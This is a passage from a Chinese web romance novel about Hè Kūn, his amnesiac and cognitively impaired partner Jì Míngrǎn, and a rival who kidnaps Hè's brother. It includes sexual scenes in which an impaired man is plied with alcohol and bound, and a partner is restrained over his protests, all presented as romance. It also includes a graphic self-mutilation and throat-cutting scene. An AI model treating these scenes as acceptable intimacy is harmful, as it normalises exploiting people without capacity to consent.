贺琨无奈,夏天冲凉不就是嫌热嘛,结果纪明冉还傻了吧唧地往他身上凑。 “起来,唔” 纪明冉竟然吐出舌尖舔了舔。 贺琨头皮一麻,抬手推开了傻子的脑袋,因为无意扯到了头发,引起纪明冉呼痛的喘息。 “阿琨,痛痛痛,阿琨” 他已经很多年没有开荤了,纪明冉这简直是纯粹的勾引,五官艳丽,眉心微蹙,神情因为吃痛而迷蒙。 贺琨往下一瞥,看得出来纪明冉也不好过,正准备收回视线,纪明冉却在此刻不自然地侧过身。 不得不说,这几年纪明冉身材管理依旧非常好。 可惜这人傻了,可惜什么也不记得,贺琨才不想教他。嗯?对了,这人傻了,什么都记不得了,教什么都可以啊。 贺琨开始蠢蠢欲动,“纪明冉。” 听见自己的名字被喜欢的人喊出来,纪明冉心里又闷又软,“阿琨,难受。” 为了落实自己的反攻计划,贺琨老神在在地开口:“我可以帮你,但是待会你也要帮我,记得吗?” 纪明冉眼神干净又朴实,贺琨惭愧。 夏天的夜晚闷热,尽管室内开着恒温的空调,可是空气依旧潮湿粘腻,纪明冉的呼吸暗哑绵长,毫无章法地借用贺琨的手,全是猛劲。 呼吸全部扑撒在耳边,贺琨脑子晕乎乎的,一动不动地看着,不知道事情怎么发展到现在的,视觉的冲击让他整个人都开始发汗。 “你,你快点啊。”不知过了多久,贺琨手都酸了,可是他还没吃上呢。 快?纪明冉不知道是什么意思,他按照自己的理解加快了速度,甚至戳到了贺琨。 疯了,真是疯了。 贺琨开始后悔,他从纪明冉的掌心中抽出自己的手,逃似地下了床,“那个,我困了,你自己弄吧。” 刚转身没到半秒,贺琨再次得到了惨痛的经验教训,永远不要背对男人,这下被完全压制了。 “阿琨睡吧,我来。” 纪明冉开始乱蹭,最后竟无师自通,擦到两腿之间。 “唔”贺琨吓得瞬间清醒,他立马挣扎着坐起来,任劳任怨干活,不知过了多久,刚洗完澡的贺琨脏了,也终于结束了。 纪明冉神采奕奕,他拉起贺琨,凑着亲昵地嗅闻,自豪道:“我帮阿琨,我学会了。” 贺琨感觉自己打开了潘多拉魔盒,还不如啥也不会,前几日起码安静。 纪明冉的手搭了上来,可人却不像贺琨那般安分,他将人牢牢地守在怀里,不仅学得有模有样,还贴着贺琨亲亲咬咬。 贺琨连连后缩,却只是更深地陷入身后的怀中,“等等!不一样的。” 纪明冉忍着想与贺琨亲昵的心思停下了动作,他好奇地看着贺琨,求知的欲望到达了顶峰。 贺琨翻身面对纪明冉,想拿出当年的威武,霸道地将人按压在身下,结果懵懂的纪明冉刚看见贺琨抬手,就迫不及待地先躺下来了,目光灼灼生辉,显得贺琨都有点无助。 “” 贺琨拉开床边的抽屉,需要的用品果然一应俱全,虽然现在主动权在手,但又总觉得哪里不对劲。 纪明冉也觉得哪里不对劲,直觉告诉他或许应*该是阿琨躺着,但是他还是决定要听话。 他感受着贺琨主动的亲昵,冷峻的眉眼在眼尾的薄红中化成春水,好看的唇四处落下枚枚吻痕,酥酥痒痒的,真是可爱极了,纪明冉忍得拳头紧了又紧。 此时的贺琨什么也没发现,就是在哼哧哼哧地干活准备,打算给纪明冉留下美好的回忆。 可他刚跪到纪明冉双腿中间,转眼天旋地转,纪明冉埋下来,几乎是在复刻他刚才的做法。 痴傻的男人直勾勾地看着贺琨,竟有几分气势,“我学会了,阿琨,到我了吗?” “!!!” “松开我,纪明唔呃” —— 窗外鸟鸣悦耳,贺琨总觉得忘记了什么事,他猛然睁开双眼,完全不记得自己是怎么睡着的。 身体没有不适,得亏没有教学到最后一步,他正准备揭开被子,却发现自己光溜溜地躺在主卧里,而还在沉睡的纪明冉看起来也毫发无损。 昨晚简直是被鬼迷心窍了,贺琨懊悔得摇摇头,纪明冉的学习能力很快,继续这样的行为像是在给自己挖坑! 为了避免纪明冉醒来四目相对的尴尬,贺琨洗漱好早早下楼。 餐厅里放着精心烹制的早餐,他刚打开查找资料准备看一看,身后却传来黏糊糊的视线,比前几日更加灼热,难以忽略。 贺琨回头,果然是纪明冉,与自己对视后,还欲盖弥彰地低垂下脑袋,耳尖红红的,新奇得有些好笑。 他清嗓后,绷着脸道:“还不来吃早餐。” “阿琨,我好喜欢你啊。” 大清早的,傻子的“直球”打得莫名奇妙,却让贺琨心跳加速。 纪明冉完全不知道,他只是拖着板凳坐到了贺琨旁边,不过半拳头的距离,又害羞又要靠近。 两人并肩而坐,安静地吃着早餐。 贺琨看着肃山按照他的要求整理出来的资料,这份资料上看得出来,纪明冉与纪清嵩结怨已久。 纪明冉没有对几位哥哥姐姐下死手,可是到纪氏争权的后期,他对纪清嵩出手即死局,带着报复与恨意。 若不是怀疑纪清嵩将贺琨偷偷藏起来,恐怕纪明冉压根不会顾忌纪姝,直接将纪清嵩杀了。 贺琨想起上一世纪明冉的死亡,当时什么也没有查出来,故而认为只是场意外,现在看来却不简单。 如果没猜错的话,很有可能上辈子纪明冉就是被纪清嵩杀害的,这样一来很多事情就可以解释清楚。 纪明冉没有放弃纪氏的身份,是因为不争就会死。而且为了查出杀害他的真凶,纪明冉才做了那场直播的局,贺琨轻轻叹息。 “阿琨,怎么了?是没有吃饱吗?” 纪明冉极快地察觉贺琨的情绪低落,从身后抱住阿琨,“我给你拿雪糕吃。” 贺琨都没有时间烦忧,就被痴憨的纪明冉捧在心尖嘘寒问暖。 “纪清嵩是不是欺负你了,傻子。” “纪清嵩?” 纪明冉低着头想了好久,眼神中掠过委屈,“一个人躺在雪地里,好冷好痛。” 贺琨心脏像是被猛地攥住,然后狠狠往下一拽,闷疼不已。 第75章 第七十五章学习接吻盛夏清晨的玫瑰…… 盛夏清晨的玫瑰院中,层层叠叠的花瓣间缀着朝露,贺琨半躺在藤椅上打发时间,本意是带纪明冉出来放风,不然天天在室内,这傻子除了看书,就是看电视。 “阿琨,送给你。” 碧蓝的天空被大捧艳丽的玫瑰遮去半边,其中几片花瓣飘落,擦过贺琨的脸颊,却被纪明冉抬手接住,偷偷藏进了手心里。 纪明冉的表情青涩而紧张,贺琨笑笑,故意装起不明白,“真好看啊,可是送我玫瑰是什么意思?” 他没等到回答,而是等到了更直接的表达。 纪明冉弯腰狠狠地亲在了贺琨的脸侧,故意弄得很响,似乎幼稚地以为声音能代表心意。 “送花就是喜欢呀,阿琨真笨。” 贺琨还没有嫌弃纪明冉傻,却被对方嫌笨了,他微微挑眉问道:“谁告诉你送花代表喜欢?” “电影里、书里都是那么说的,”纪明冉将花塞进贺琨手中,低垂着脑袋,再次轻轻地问:“阿琨喜欢吗?也喜欢我吗?” 枝干上的利刺被处理了,不扎手,只有扑鼻的香气,贺琨闻言抬眸,落入热切期待的目光里,他笑了笑没有回答,而是抬手拽住纪明冉的衣领往下扯,两人之间的距离瞬间拉近。 温热的呼吸洒在唇边,纪明冉瞳孔微缩,半秒后才反应过来,手心里渗出汗水,将那几片玫瑰花瓣揉出了汁液,染得汗津津的。 他不知道怎么接吻,只是本能地托住阿琨脸颊,模仿着从电影中看到的画面,用嘴唇胡乱单纯地贴蹭着贺琨的唇,尽管始终不得窍门,却单纯贪心地享受着这份亲密,直到猛地磕到牙齿,尝到血腥味,才慌乱地直起身。 “疼吗疼吗?对不起,我给阿琨吹吹,好不好?” 纪明冉手忙脚乱地捏住贺琨的双颊,微微开启的唇瓣比艳丽的花朵更加夺目,心口扑通扑通地狂跳起来,阿琨似乎皱眉说道什么,可是他再也听不见了。 “没事,松开我,”贺琨拉开纪明冉微微掐住他双颊的手,“去旁边坐好,不准”他还没说话,就被纪明冉的话打断。 “阿琨好热啊,这里难受。” 贺琨忘了自己要说什么,狐疑地皱起眉头,正打算抬手试探纪明冉额头的温度,一只手掌却在这时扣住他的手腕,按压到其胸口的位置。 纪明冉快速的心跳隔着单薄的衣服传到了贺琨心间,他终于不再逗弄可怜的傻子,而是翻身将纪明冉按在身下,“打开嘴巴,冉冉乖,我教你。” 粘腻的呼吸纠缠,贺琨很快喘息不畅,他微微抬头想拉开距离,却被霸道地压回,彻底失去主动权。 断断续续纠缠了半小时后,贺琨已经坐到了纪明冉腰间,不是吧不是吧,这人都傻了怎么还攻气十足,他猛地直起身子,趁着对方还在走神,摸着刺痛的嘴唇快速翻身而下。 回神的纪明冉当然不乐意,闹着要和贺琨躺在同张藤椅上休息,结果只是被瞪了两眼便乖乖地坐到了小圆桌的另外那侧。 或许心有愧疚吧,每隔几分钟就悄悄偷看贺琨一眼。 白云悠悠飘过,太阳也逐渐热辣起来,贺琨全心全意地玩着游戏,纪明冉乐在其中地蹲在旁边给他扇风,凉悠悠的。 这时一封匿名邮件从窗口弹出,贺琨端起桌上的汽水喝了半口,歪头说:“玫瑰要焉了,你把它们送回去插好,我打完游戏就来。” 愁眉苦脸的纪明冉如同刑满释放,不再夹着尾巴做人,笑容再次回到脸上,他以后每天都要给阿琨送花,送很多很多花。 他不想走,可他听阿琨的话,“那你要快回来。” 贺琨点头答应,直到一步三回头的纪明冉走远,才退出游戏页面,转手拨出一串陌生号码,五秒后,电话接通,“纪清嵩,我们合作吧。” 对面轻声笑笑,冰块碰撞杯壁,庆祝似地在桌面上轻点,就算隔着听筒也依旧清脆响亮。 “纪明冉就是个心狠手辣的疯子,恭喜你做出明智的选择,终于可以脱离苦海。” 贺琨无视那些废话,直接问道:“那接下来,我需要做什么?” 次日,纪明冉早早跑进了玫瑰园里,想在阿琨醒来之前,就把花束送到房间里,这样阿琨醒来就会很开心。 清晨的玫瑰园还带着凉意,他小心翼翼地剪下开得最盛的玫瑰,笨拙地去除尖刺,再用丝带扎成一束,光是想象着贺琨睁开眼就看到鲜花的样子,嘴角忍不住高高扬起。 纪明冉抱着花束,像捧着珍宝,轻手轻脚地走向贺琨的卧室。 可经过一楼时,却听见肃山刻意压低的声音。 “……嗯,已经确认了。昨晚的信号源虽然做了多重跳转,但最终指向确实属于纪清嵩的据点之一,通话时长足够传递关键信息了。” 纪明冉的脚步顿住,肃山的声音很严肃,让他本能地感到不安,于是悄悄地靠近了虚掩的门缝。 肃山似乎在斟酌措辞,语气沉重,“贺先生可能选择了一条对我们极为不利的路,他在联系纪清嵩。” 门外的纪明冉眨了眨眼,纪清嵩…… 这个名字让他下意识地感到厌恶,但具体是什么,混沌的脑子又想不起来。 他只知道肃山把“阿琨”和“纪清嵩”放在一起说出来,听着很不好。 肃山的声音继续传来,果断而坚决:“我已经到达别墅了,我会提醒纪先生的……嗯,好,那你继续跟进观察。” 脚步声响起,忽地越来越近,纪明冉还没来得及跑开,就与肃山正面相遇。 “纪先生,早上好。”肃山眼中没有半分惊讶,纪明冉的出现似乎在他预料之中。 傻了的纪明冉却看不出来,而接下来的信息只会更加密集,肃山将他带进屋内,没有给予任何缓冲的时间,便郑重说道: “我知道您现在状态特殊,但请您记住:只要在别墅内,无论发生什么,不要让贺琨先生离开您的视线。他想做什么,您就陪着他做;他去哪里,您就跟到哪里,用您所有的办法粘着他、缠着他,让贺先生无法给外界传递消息。” “粘着他……缠着他……” 纪明冉小声重复着,虽然不明白肃山为什么这么正式地说这些,但“粘着阿琨”这个方式却完美地契合了他心底最深的渴望。 他本来就想每分每秒都和阿琨在一起啊。 纪明冉没有答应也没有拒绝,只是深深地看了肃山一眼,抱着花束快速跑走了,脑子里反复回响着肃山的话,要粘着阿琨,缠着阿琨。 —— 午后的阳光炙烤着大地,别墅内的泳池在阳光下泛着粼粼波光,空调的温度很适宜。 贺琨坐在池边,双脚泡在清凉的水里,纪明冉则是站在池内,紧紧贴在他身边,手臂环着他的腰,湿漉漉的脑袋蹭着贺琨。 “阿琨,水里凉快,你也下来。”纪明冉带着期待邀请,不安分地来回捣乱。 “别闹。”水珠溅到睫毛上,贺琨拍开纪明冉的手,语气淡淡的,目光落在波光粼粼的水面上,有些心不在焉,似乎在等待着什么。 “阿琨教我游泳好不好?”纪明冉锲而不舍,故意笨拙地晃来晃去,试图把贺琨往水里带,“就像昨天在花园里那样教我……” 贺琨正准备开口敷衍,放在池边躺椅上的手机突然震动起来,他的眼神瞬间锐利,立刻就想站起来去拿手机,当看见屏幕上显示的是贺青峰的名字,神情才逐渐柔和起来。 这段时间贺琨的注意力全放在纪明冉身上了,也没有给哥好好解释自己迟迟未回国的原因,说实话,现在也不知道怎么解释。 难道要坦白他又和纪明冉鬼混在一起了? 贺琨不敢。 他无奈地摇摇头,笑着抹去纪明冉嘴边的水花,“冉冉先玩,我接个电话。” 然而,贺琨刚动,身边的“人形挂件”立刻收紧了手臂。 “阿琨别走,等等我。”纪明冉抱得更紧了,声音里带着不易察觉的恐慌,肃山的叮嘱如同魔咒在他的耳边回响。 “听话,我只是去接个电话。”贺琨皱着眉,试图掰开他的手臂。 纪明冉意外地固执,“那我陪阿琨一起,可以吗?” 手机铃声停歇了半分钟后,再次震动起来,贺琨担心纪明冉行为不可控,闹起来被贺青峰听见,那哪是能在电话里解释清楚的。 “是我哥哥的电话,冉冉,你在这里等会,我会很快回来。” 纪明冉失忆后总是没有安全感,大部分时候贺琨都是耐心地配合,可是这次纪明冉还是没有松手,他只好强硬地将缠抱着自己的手臂扯开。 因为担心勒痛阿琨,纪明冉松手后被惯性带得踉跄后退,溅起一片水花,他茫然地抬起头,脸上写满了受伤和不解,湿漉漉的眼睛看着贺琨,可怜极了。 贺琨看得心软,弯腰吻了吻纪明冉的额头,“乖啊,等我两分钟。” 他起身拿起再次震动的手机,手指迅速划过接听键,同时转身背对着泳池走到远处的休息区,“哥?” “打算什么时候回来?”简洁直白的语气通过听筒传来。 贺琨模模糊糊地回答:“唔,就过段时间啊。” “呵。”贺青峰不再现场,来自血脉的压制却扑面而来。 “哈哈哈哈哈,一个月?”贺琨抬眸看了看远处的纪明冉。 贺青峰没有听贺琨胡诌,直接道:“我下周出差,顺便去见你。” 第76章 第七十六章生日礼物三日后,一架飞…… 三日后,一架飞机从国内出发,窗外的云海如棉花般柔软舒展,贺青峰合上笔记本,余光瞥见了报刊上熟悉的面容,宋榄。 应该是关于捐赠资助行为的系列报道,这几年宋榄作为慈善家,在国际上享誉盛名。 贺青峰移开视线,目光无波,似乎与照片中那位悲悯的青年慈善家素昧相识。 繁忙不休的人偷得半日空闲,一时也想不起来要做什么,他在聊天页面划拉了几下,打开与贺琨的聊天框又退出,指尖凌空半秒后,在短信搜索栏中输入了一串号码。 对话页面弹出,最后的消息停留在三年前,那青年不再喋喋不休地自说自话,只留下一句“你要永远记得,我爱你”。 贺青峰眸光微垂,似乎看见了一双暗红眼眸中,偏执欲落的泪珠。 就在此时,飞机舷窗外原本舒缓的云海沸腾起来,紧接着机身开始剧烈地颠簸摇晃。 安全带深深勒住贺青峰的身子,他脸色冷峻,修长的手指扣住座椅扶手,指节因用力而微微泛白,但眼神依旧锐利平静,透过晃动模糊的玻璃,审视着下方被狂风暴雨摧残着的陌生海岸线。 “女士们先生们,由于前方雷暴区范围远超预期,本次航班将紧急迫降在最近的备用机场” 乘务组正在播报,机舱内灯光忽明忽灭,伴随着压抑的惊呼和物品滚落的声响。 贺青峰强迫自己保持冷静,随后又去安抚几位同行的高管,没过多久,伴随着金属摩擦声,颠簸中的飞机终于勉强降落在湿滑的跑道上,最终在跑道尽头停了下来。 舱内一片狼藉,但好在有惊无险。 映入眼帘的是个设施简陋、规模较小的机场,跟随着其他乘客,贺青峰他们进入了室内,候机厅内的地勤人员来回奔走,忙得焦头烂额。 贺青峰找了个相对安静的角落,拿出电话试图联系外界,但信号微弱得可怜,心中那股不祥的预感愈发强烈。 他不动声色地观察着周围混乱的人群,皆是疲惫惊恐。 然而,几个穿着机场地勤反光背心,压低着帽子的男人穿过人群悄然靠近,那步伐沉稳有力,与周围慌乱的工作人员截然不同。 贺青峰的神经瞬间绷紧,他立刻起身,想走回更拥挤的人群。 “先生,您脸色很差,需要帮助吗?”刻意压低的声音忽地在身后响起,一只滚烫的手掌精准地握住了贺青峰的手臂,力道之大如同要嵌入骨肉。 他心中警铃大作,还没来得及出手,身体不受控制地软倒下去。 “这位乘客晕倒了!快送医疗室!”另一个声音用当地语言急促地喊道,盖过了周围的嘈杂。 贺青峰感觉自己被有力的手臂架起,一件带着雨水湿气的外套罩头盖下,他像袋沉重的货物,被迅速地带离了候机厅的角落。 混乱的人群中,只有零星几人投来麻木或疲惫的一瞥,很快又移开了目光。 停车场内,毫不起眼的黑色厢型车车门被砰地关上,很快引擎响起,车子冲入雨幕,驶离了这片混乱。 — 纪明冉百无聊赖地躺在地毯上,仰头倒看着墙壁上的挂钟,距离阿琨出去买蛋糕过去了18分钟,他已经开始想他了。 为什么自己不能出门呢?都怪他太笨了,什么都想不起来。 纪明冉越想越气,他猛地跳起来走进餐厅,给自己倒了杯牛奶。 三两口喝完后,他又抱着画本跑回客厅,窝进了贺琨经常坐的位置,直到数到3596,阿琨还是没回来。 画本滑落到地面,软椅上阿琨的味道淡淡的,半蔫的纪明冉再次站起来,噔噔噔地爬上楼,跑进了次卧的衣帽间。 门一推开,熟悉的气息瞬间充满鼻息,他重重地呼吸着,焦躁委屈奇异地被抚平了。 抱上几件眼熟的衣服后,纪明冉蜷缩在衣帽间柔软的长椅上,眼皮渐渐沉重,终于抵抗不住困意,沉沉睡去。 午后的阳光透过百叶窗的缝隙,在地毯上投下细长的光带缓缓移动。 不知过了多久,纪明冉的眼睫微微颤动,他蹭了蹭柔软的衣服,半梦半醒之间想要换个更舒服的姿势时,指尖却碰触到了个棱角分明的东西。 不是柔软的衣物,也不是地毯的绒毛。 他的睡意瞬间消散了大半,困惑地睁开眼,撑起身体,好奇地夹缝看去,是个不大不小的盒子。 它看起来是那么突兀,纪明冉起身跑到饰品柜前看看那些精美的盒子,又跑回去看看,不一样,他鬼使神差地伸出手。 两本笔记本掉了出来,白色的封面上没有任何标识,其中一本摊在眼前。 那个字迹,好像是阿琨的。 纪明冉呆愣愣地蹲下身子,心头莫名的悸动越来越强烈,他犹豫了一下,缓缓拾起本子。 文字跃然于纸面,几个相关的场景快速在他的脑海中闪过,那双漂亮的眼睛里充满了迷茫困惑,似有瞬间清明,在痛苦中,很快又恢复懵懂。 暮色四合,别墅笼罩在一片静谧的暖光中。 贺琨推门而入,手里提着个精致的蛋糕盒,他走到餐桌前,小心翼翼地拆开蛋糕盒,香甜的奶油香气在空气里弥漫开。 “冉冉?”他扬声唤道,声音里带着一丝刻意营造的轻松,试图驱散下午与纪清嵩秘密会面时的紧绷。 没有回应。 不应该啊,贺琨微微蹙眉,平时纪明冉就粘人得紧,今天整个中午都没有见面,怎么会半晌都没有动静。 贺琨摆好蛋糕往客厅走,目光扫过略显凌乱的沙发,抱枕掉在地上,一本翻开的图画书斜放着,电视也还开着,播放着动画片。 “纪明冉?”他又唤了一声,依旧寂静。 贺琨的心底掠过一丝异样,下意识地放轻脚步往楼上走,就在这时纪明冉从侧卧里跑了出来,将他抱了个满怀。 “阿琨不怕,别伤心。” 接连好几个亲吻胡乱落下,轻柔中带着疼惜,贺琨被圈得牢牢的,没有搞懂这傻子的脑回路,无奈地笑着往后躲,“怎么了?好痒,快放开我。” “想你!”纪明冉不管,闹着闹着视线飘到了贺琨的唇间,他闭着眼就往上凑,呆呆傻傻的。 没有想象中的柔软,他睁开眼,看见了贺琨眼底的笑意,心脏砰砰乱跳,“阿琨坏,干嘛捂嘴。” “给你买了蛋糕,吃不吃?” “吃!” 电视里播放优美舒缓的电影,贺琨留下几盏昏黄的灯,将蛋糕放在了客厅矮木桌上,转头迎上那道存在感极强的视线。 “好了,寿星先生,快坐下,别跟着我了。” “今天是我的生日?”纪明冉歪着头,他原本以为只是吃蛋糕,这下简直又惊喜又困惑,“那我会收到礼物吗?” 贺琨点着蜡烛的手微微停顿,礼物就是今晚就要把你给上了。 悦动的烛火落在眸中,他心虚地抬手摸摸鼻头,笑得温柔无比,“当然了,冉冉喝酒吗?” “阿琨喝,我就喝!” 贺琨眉眼弯弯,冷峻化去,“好啊,那你先闭着眼睛许个愿。” 纪明冉依依不舍的移开目光,注意力终于被香甜的蛋糕吸引,乐呵呵地闭上了眼。 软木酒塞被拔出的声音响起,酒液体倒进杯中,纪明冉希望自己永远永远永远都不要和阿琨分开。 许完愿望,他悄悄睁开半只眼,客厅里昏黄的光线柔和,落在贺琨低垂的眉眼上,投下淡淡的阴影,纪明冉心里酥酥的,他哗啦一下伏到贺琨的背上。 “喂我吃蛋糕好不好呀?手好痛。” 身后的呼吸带着熟悉的温度,落在耳廓时微微发痒,贺琨低头看去,腰间的手明明完好无缺,可傻孩子嘛,哄哄也是应该的。 “好,喂你。” 贺琨的声音带着自己都没察觉的纵容,拿起搁在精致瓷盘边的银质小叉,从那块点缀着蓝莓的蛋糕上切下一块装盘,叉尖稳稳地托着蛋糕,还特意多沾了点奶油。 他微微侧过头,将叉子递到纪明冉嘴边,“张嘴,大骗子。” 纪明冉一口含住蛋糕,眼睛满足地眯了起来。 “好吃吗?”贺琨目光落在纪明冉沾着奶油的唇瓣上,心里柔柔的。 “好吃!”纪明冉用力点头,“阿琨喂的甜,我的不甜。” 贺琨失笑,又耐心地叉起一块喂过去。 纪明冉眼睛亮晶晶的,看着贺琨的眼神纯粹而欢喜,仿佛眼前人就是整个世界。 “那,就轮到我了。”切块的蛋糕三两下就没了,贺琨放好盘子,忽地转身将纪明冉按在了身下。 电视里舒缓的配乐流淌,光影在两人之间变换。 贺琨屏息凝神,将蜻蜓点水般啄吻落在呆滞的人脸侧,戏谑道:“我家冉冉真漂亮。” 纪明冉耳垂通红,他知道漂亮是什么意思,他喜欢阿琨停留在自己身上的目光,甚至想要占据阿琨所有的视线,只是傻傻的,不知道怎么做。 傻子循着本能按住贺琨的后脑,想要再亲昵地靠近,却突然被奖励了一个深吻。 灵巧的舌头滑进口中,纪明冉笨拙地想要吮吸时,可它又像滑溜的小鱼般快速溜走。 他急切地昂起脑袋追上去,想要寻到那调皮的,狠狠发泄一番,好将浑身的憋闷统统抒发。 可身上的人却抬手按住了他的肩头,纪明冉再次被推压到柔软的毯子上。 “阿琨亲亲我,再亲亲我”那声音暗哑委屈,目光却似乎要将贺琨拆吃入腹。 贺琨端起桌上的酒杯先含进半口,虽然要被那道热切渴望的视线吞没了,但他觉得自己还能行。 第77章 第七十七章心疼男人酒液顺着喉咙滚…… 酒液顺着喉咙滚入肚中,贺琨心里也有了底气,他再次端起酒杯轻饮,转而倾身靠近,带着凉意的吻落下,纪明冉得偿所愿。 醇厚的酒气混着阿琨身上的香味涌来,那柔软的舌尖轻轻撬开齿关时,酒液在唇齿间漫开,有点微辣的烧灼感,却抵不过贺琨主动探过来的舌尖让他兴奋。 纪明冉闭着眼,耳尖红透,享受着这份暧昧轻柔的吻,可又觉得怎么都还不够。 他凭借着体型优势,直接翻身压住阿琨,兴奋不已地去落实心里的想法。 傻子也不懂什么技巧,就是叼住那点柔软重重吮了起来,暧昧旖旎的氛围被越发粗重的呼吸打断,空气里都染上侵略性的气息。 贺琨想着这会的纪明冉也不会什么,最后肯定还得是他来,就这么放松戒备后,晕乎乎地就被压着不停索吻。 “好甜,喜欢。” 纪明冉似乎吃够了,还不忘好评,贺琨迟钝地反应过来后,瞬间涨红了脸,察觉到自己的被动,他迅速推开纪明冉,硬着头皮调戏道:“冉冉宝贝的当然更甜。” 听见这句话,傻子眼里直放光,他模仿着贺琨,端起桌上的酒杯直接喝到底,“那么现在轮到阿琨吃我的舌头了。” 大白话直往脑子里钻,贺琨听得尴尬,好想找个地遁走,他深呼吸一口气,还是少说话多办事好了。 “再喝一杯吧,冉冉,喝完我们就上楼。” 纪明冉脸上写满不乐意,煮熟的鸭子还没到手就飞了,怎么也不愿意配合,贺琨只好凑近,和他低语了几句。 纪明冉的眼睛越来越亮,于是豪气冲天地端起酒杯,接二连三地喝了大半瓶,眼神也逐渐迷蒙起来。 卧室里,贺琨只点了盏床头灯,暖黄的光晕笼罩着半醉的男人,手松松地搭在被子上,喉间偶尔溢出点模糊的气音。 这人闭着眼的时候看起来聪明多了。 贺琨也是刚把醉酒的纪明冉扶上楼,现在站在床边摇摆不定,他左手是条领带,右手是条皮带,心中很是纠结。 身后再次传来声响,是男人在含糊地在呼唤他的名字,贺琨回头,那人侧脸陷在枕头里,睫毛微垂,平时凌厉的下颌线也圆软了写。 好吧,领带吧,皮带太硬了。 此时的贺琨还不知道,心疼男人受罪的只有自己,他把皮带丢在床边,拉起纪明冉的手腕,用领带牢牢地捆在一起,满意地点点头。 声音似乎隔着层薄膜,怎么也听不真切,身体热得要烧起来了,纪明冉难受地摇摇脑袋,一连串温凉的吻带着安抚的意味落在了颈侧,他勉强睁开双眼。 “唔阿琨?嘶——” 小腹上被落下了一枚湿热的吻,舌尖在上面暧昧地游走,纪明冉摇晃腰部,似乎是想让那柔软的舌尖再往下几寸,可惜并没有如愿。 贺琨反手拍上纪明冉的小腹,力道不轻不重,带着惩罚的意味,他抬眸迎上纪明冉的视线,“醒了?” 发问的人气势凌然却挑逗,与平时完全不同,看得纪明冉燥热不已,他甚至悄悄地抬腰,就算是再挨打一下,也还想被贺琨摸摸。 可阿琨一个眼神都没有再给,他焦急地抬手,却发现自己的双腕已经动弹不得。 纪明冉眼神中充满困惑,难道是自己睡着的时候做了什么坏事,所以阿琨把他捆起来了? “唔,没事,这只是个游戏。” 贺琨看出纪明冉的困惑,开口胡乱解释,考虑到纪明冉这一世还没有做过承受方,他打算多花些时间做前期准备。 游戏?纪明冉似懂非懂,原来阿琨喜欢这样玩,一只手覆来,没过几秒他便彻底无法思考了…… 贺琨强行按捺住心中的骚动,他目不转睛地看着,没有错过任何细节。 纪明冉有完美的美人骨相,笑起来时眼尾会弯成月牙,睫毛长而直,鼻梁精致挺拔,却不似贺琨那样如刀削般凌厉,反而是衬得整个人如山泉般清透柔和,白玉般皎洁无暇。 就算是傻了,也依旧是个笨蛋美人。 唯一的不同,可能就是被权势浸久了,不经意间总会泄出凌人的压迫感,笑面老虎似的。 但是现在这个只手遮天的男人,在自己的掌控下神情贺琨心里说不出有多满足。 时候差不多了,他腾出一只手拿起,没想到只是短短几秒,纪明冉就不满意地哼唧起来。 贺琨连忙挤出些来,在纪明冉的注视下跪坐到之间,他喉结微微滚动,竟还有些紧张。 “阿琨,过来,解开领带。” 熟悉而温和的命令式语调在耳边炸开,像是偷偷干坏事被发现了,凉意顺着脊柱直接蹿上头皮,一阵一阵的心虚,贺琨迅速又戒备地翻身下床。 “阿琨阿琨,快点帮我解开呀,好难受。” 又成了傻傻的了。 他狐疑地来回打量,试图去捕捉到什么,结果什么都没有,刚才那句仿佛是幻听了。 算了,不管了。 没想到刚放松下来,一阵劲风刮过,又是相同的天旋地转,栽回了柔软的床中,屁股啪地被拍了一掌,火辣辣地直往心里烧。 “阿琨太不乖了,要打屁股。”说完又是几下,到了最后还又打又捏,连吃带拿。 贺琨被压得不得动弹,他不可置信地瞪大了眼睛,薄唇微抖,不知是气得还是羞得。 可是纪明冉神情中还是那股傻乎乎的味,不像是故意的,这口气梗得他是不上不下。 而此时纪明冉在苦恼别的事,他看着手中被自己弄坏的领带,阿琨喜欢被绑着,可是领带坏了。 纪明冉气恼地垂头,却看见了床边的皮带,他眼睛一亮,长手直接将那黑色的皮带捞过*来。 贺琨还在负隅顽抗,结果双手唰地被捆了起来,与刚才纪明冉的被动一模一样。 “阿琨,我已经学会啦,我们会玩得很开心的!” “不不,不行的” 贺琨用力地挣扎起来,抬腿就踹,可却被更方便地分开 — R国,某座现代小庄园里。 宋榄坐在昏暗的地下室里,一个狼狈的男人抱住他的腿,爬在他脚边痛哭流涕。 “我错了我错了,老大,我错了,”男人用力地捆着自己巴掌,哪怕是双颊青紫,耳鸣不休也没敢停下。“我不该鬼迷心窍,乱看您的人,更不该乱说荤话,对不起!对不起” “哪只眼睛先看的?嗯?”宋榄把玩着手中的小玩偶,漫不经心地问。 男人闻言,眼泪都掉不下来了,苍白的唇一个劲的抖,最后他心一横,直接拔出自己身上的匕首,插进左眼里。 伴随着撕裂的尖叫,血液飞溅出来,有几滴落在了宋榄雪白的脸颊上,他眉间闪过嫌恶,轻啧中难掩讥讽。 哪里是什么慈善家,明明是地狱的恶魔。 宋榄朝着地上终于安静下来的男人笑笑,那男人仅存的右眼里刚闪过一丝劫后余生的庆幸,还没来得及将这份庆幸传达给大脑,身子再次一轻! 一道冰冷的银光划过,宋榄握住那把沾着血污和眼部组织液的匕首,精准无比地抹过了男人的咽喉! 血液不再是飞溅,而是瞬间成条状喷射出来,在昏暗的灯光下划出一道凄厉的猩红弧线。 男人最后的意识里,看到了地面上那道属于自己的影子,正在诡异地抽搐,随即彻底静止。 地下室里,只剩下血液汩汩涌出落到地面的粘稠声响,以及浓得化不开的铁锈腥气。 宋榄站起身,动作有些俏皮,他垂眸看着地上迅速蔓延开来的血泊,以及那具失去生机的尸体,眼神里没有丝毫波澜,只有一种处理完垃圾的漠然。 他抬手用指腹随意地抹去溅在脸颊上的那几滴温热血液,看着指尖的殷红,眉宇间的嫌恶更深了几分。 “啧,脏。”宋榄低声自语,仿佛在抱怨什么无关紧要的小麻烦。 他无奈地走到角落的水槽边打开水龙头,冰冷的水流冲刷着修长的手指,血污在水流下晕开,最终消失不见。 拿起旁边雪白的毛巾后,他又仔细地擦干手,出门前打开了地下室的通讯器前,按下通话键,“B区地下室,处理干净。” “是,老大!”通讯器那头传来恭敬而干练的回应。 宋榄切断通讯,转身迈着沉稳无声的步伐,走向通往地面的楼梯。 峰哥现在应该还没醒吧,想到心爱的人正躺在自己精心打造的卧房内,宋榄心底扭曲的欲望得到极大的满足。 地下室门缓缓合拢,窗外阳光明媚,鸟语花香,致力于慈善事业的宋先生要去守着他久别的爱人苏醒。 第78章 第七十八章都烂透了(宋贺)豪华宽…… 